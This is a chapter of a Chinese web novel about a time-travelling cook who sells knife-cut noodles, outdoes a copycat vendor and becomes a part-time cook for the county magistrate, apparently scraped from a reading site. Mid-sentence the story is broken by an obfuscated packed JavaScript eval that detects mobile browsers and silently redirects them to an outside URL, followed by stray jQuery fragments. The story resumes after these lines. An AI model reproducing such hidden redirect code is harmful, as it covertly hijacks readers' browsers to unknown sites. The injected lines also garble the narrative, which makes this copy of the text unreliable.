默认冷灰
24号文字
方正启体

11. 县衙小厨娘

作者:柚子蜜梨本书字数:K更新时间:
    牙人告知云楚沅过几日再来一趟,说不定到时就有房屋售卖了。


    云楚沅意兴盎然地来,败兴而归。没想到穿越到了古代,买房依然是个大难题。


    第二日,云楚沅推着小推车来到东市她以往摆摊的位置,却发现已经被人占了。


    “海鲜面!好吃的海鲜面,只要十文钱。”


    这个小摊竟仿照她卖一模一样的面食,摊贩是个獐头鼠目的男子,摊位上摆放的食材和调料也和她的相像,就连海鲜面的卖相都差不多。


    因他买的面便宜两文钱,倒是吸引了不少客人。


    “哟,怎么不是以前的小娘子来卖面?”


    “嗐,我是她堂哥,她把海鲜面的活计交到我手上了。”


    这不要脸面的小贩竟还打着她的旗号招揽客人,不明真相的人还以为海鲜面还是原来的味道,吃了一口才发现上当受骗。


    云楚沅气不过,正想上前理论,这厮不仅利用她获利,还败坏她的口碑,以后还叫她怎么做生意。


    “云小娘子!”卖包子的大娘一瞧见云楚沅气势汹汹的模样,就知晓她打算干嘛,连忙拽住她拉到了包子摊后。


    “云小娘子,这几日你怎么没来摆摊?”


    云楚沅死死地盯着卖面小贩,心不在焉地回道:“村里有些琐事处理。”她忙着出海和鱼塘养殖的事,确实已经有段时日没来县里卖吃食了。


    包子摊的大娘忧心忡忡地劝道:“你有所不知,此人名唤孙大福,他妹妹是徐家少爷的通房丫鬟,孙大福平日里狗仗人势,没少干缺德事。云小娘子你还是忍一忍吧,省得被他报复。”


    常言道,宁得罪君子,勿得罪小人。


    云楚沅明白大娘的意思,这世道,有权有势的人说了算,她一介平民女子,直接对上这类人,无疑是蚍蜉撼树。


    还有这徐家,真是阴魂不散啊,连府上丫鬟的亲属都自诩高人一等,那他们徐家人必然没少做伤天害理的事。


    云楚沅在孙大福不远处的位置支起摊子,她今日准备了新的面食,既然不能正面和他对峙,那就凭实力打败他。


    集市一隅,一口大锅立了起来,炉火烧得正旺,锅里沸腾的热水“咕嘟咕嘟”冒泡,升起的热气模糊了摊位后女子的面容,悠悠飘散向四周。


    此刻的云楚沅正揉着案板上光滑的面团,反复摔打,“啪啪啪”的声响吸引了行人的目光。


    云楚沅用左手托起面团,微微侧过身体,右手拿起特制的削面刀,手上的动作行云流水,刀片轻车熟路地在面团上游走,中间厚、两边薄的面片如同银鱼一般,簌簌飞至锅中。


    “噗通噗通!”面片入水,溅起朵朵水花,它们在热汤中上下翻滚,似在水中翩翩起舞。


    众人纷纷驻足围观,对这新鲜的面食感到好奇,未曾有人见过,这做面条还能像是杂耍一般引人入胜。


    不多时,云楚沅用竹筷捞起面条,搁进粗瓷大碗之中,淋上提前做好的海鲜浇头。


    一碗热气腾腾的海鲜刀削面就此诞生,这份面饱含市井烟火气,接二连三有人掏钱买面,他们端过碗去大快朵颐,脸上露出满足的表情。


    云楚沅对自己做的刀削面胸有成竹,这刀削面需要硬质面团,用冷水和面,期间把控好粉与水的比例,加点盐增加面筋韧性,多次揉面和醒面来提高其延展性。


    除此之外,削面的手法要快、准、狠,特制刀刃是弧形的,刀身与面团的夹角越小,面片越薄,反之愈厚。


    削面时,每一刀都要压在前一刀一半之处,会形成边缘薄如蝉翼的柳叶形,右手匀速削面,左手转动面团,掌握好节奏,削出来的面片才能大小均匀。


    这次的海鲜浇头比起以往,多加了云楚沅自制的蚝油,所以味道也更好了几分。


    孙大福表情阴狠地盯着不远处的面摊,不由出声咒骂道:“呸,小蹄子,别得意,咱们走着瞧!”


    云楚沅已经忙翻了天,不停重复着煮面、捞面的动作,哪有功夫注意到小人行径。


    今日的生意比以往都要好,这表演削面的噱头博得了许多关注。


    一走进东市的裴昱臣也被那空前热闹的场景吸引,他来此本是想看看百姓们有没有被先前悬挂的土匪头颅影响,顺便安抚一下人心。


    不成想,一来就瞧见了如此盛况,显然死人的阴霾并没有影响商贩们的生意。


    裴昱臣凑近一看,哟,还是熟人。


    “云姑娘,生意不错呀。”


    云楚沅抬头瞧见来人,扬起娇美的笑容,“我当是谁呢?原是咱们裴县令来体察民情来了。”


    再见裴大人,他还是那样玉树临风、温文尔雅。


    云楚沅动作麻利地做了一碗面,“我请大人吃新上的刀削面。”


    裴昱臣从袖子里掏出铜板,放到小推车的木台上,说道:“为官之人,怎能占百姓的便宜,还请云姑娘收下。”


    这人还是那样古板正经,云楚沅也不好逼人家打破原则,遂收下了铜钱。


    “天哪,是裴县令,他竟也吃咱们东市的小吃。”


    “青天大老爷爱吃的面,味道一定不一般,我也要买一碗!”


    “别挤我,别挤我,让我近距离瞧瞧裴大人的英姿。”


    “哇,裴大人长得真英俊,不知可否婚配?”


    “切,就算县令大人未曾娶妻,也看不上你这卖猪肉的、五大三粗的女子。”


    四周传来叽叽喳喳的议论声,不少路人都凑过来围观,再次带动了云楚沅面摊的生意。


    云楚沅忙的脚不沾地,心想,这就是传说中的明星效应吗?原来古人也喜欢跟风啊。


    “诸位,本官不欲造成集市拥堵,无事之人还望速速离去。”不苟言笑的裴昱臣还挺能唬人,他的一身官威吓退了不少人,方才还挤成一团的百姓们如潮水般褪去。


    瞬间,云楚沅的摊位前空无一人,她都不知是该笑还是哭。


    “裴大人威风凛凛,吓跑了我的食客们,该怎么负责?”云楚沅开了个玩笑,其实


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716728|173747||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她的面已经买的差不多了,但她就是想逗逗这小书生,想看他惊慌失措是何等模样?这就是女人的恶趣味吧,喜欢反差萌。


    裴昱臣板着脸,躬身作揖,慎重其事道:“是在下的不是,还望姑娘原谅则个。”


    他顿了顿,继续道:“倘若云姑娘不嫌弃,可来县衙做事,我发给你和县衙的庖子同等的月钱,但姑娘只需为我一人偶尔做两道吃食便可。”


    云楚沅来了兴趣,想不到这县令大人还准备给她安排长久工作呢,而且听他的说法,还是兼职,这倒新鲜。


    “大人愿给多少月钱?”


    裴昱臣略微一顿,道:“自是比不上姑娘摆摊卖吃食赚得多,一月五两银子,但姑娘可住在官舍之中,还可随意取用膳房内的食材。”


    云楚沅轻抚着自己小巧的下巴,觉得这个提议还不错,这样一来,她往后有了个可以临时休息的住所,不必日日在小渔村和临海县来回奔波。


    况且待食肆开起来,需常住在县城,她一个人便罢了,但她放心不下楚河和楚清,肯定要把他们一同接来县城,除了楚河偶尔跟着师傅出海时,他们再回小渔村住。


    这样好处多多、还不累人的兼职哪里找去?裴县令真是个实在人,她一句玩笑话,就叫他妥协至此。


    云楚沅笑着点头:“好,我愿意去县衙做厨娘。”


    裴昱臣松了口气,不仅是因为有了补偿对方的办法而庆幸,还因为即将会摆脱县衙里难吃的膳食而窃喜。


    他提出这个提议,确实存了私心,云姑娘的好手艺是他平生少见,就连他在京城有幸光顾过一次的醉仙楼,都望尘莫及。


    云楚沅收摊之后,决定跟裴昱臣回县衙,先给他露一手,做一道益精补血的海带排骨汤。


    经过小火慢炖的排骨汤,呈现出一种奶白色,排骨软烂,轻轻一扯,便从骨头上脱落下来,咀嚼起来软糯而有嚼劲。


    墨绿的海带吸收了浓郁的肉汤,吃起来柔软而有韧性,同时可以中和掉猪肉的油腻。


    裴昱臣轻轻抿一口汤,清甜鲜美的味道瞬间在口中散开,带着一股浓郁的油脂香。


    肉汤顺着喉咙滑过,从胃到心感到一阵温暖而又舒适的感觉,仿佛给全身带来滋润和抚慰。


    他细细品味,甚至还能回味到排骨的肉香和海带的鲜甜,相辅相成。


    “裴大人,味道如何?”云楚沅坐在一旁,托着腮看向他,这人用膳也如此善心悦目,真应了那句话,秀色可餐。对着这张俊脸,她能多用两碗饭!


    “味道极好,云姑娘师承何处?莫非祖上出过御厨?”裴昱臣放下碗筷,动作优雅地用帕子轻拭嘴角。


    “哈哈,也许吧。”云楚沅微微一笑,打着马虎眼。


    一大碗海带排骨汤见底,这小书生看着不壮实,饭量倒是不小,也许和他练武有关,应当是那种精瘦的类型。


    云楚沅的目光隐晦地扫视过他的腹部,裴昱臣尴尬地红了耳根。


    云姑娘是嫌他太能吃了吗?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)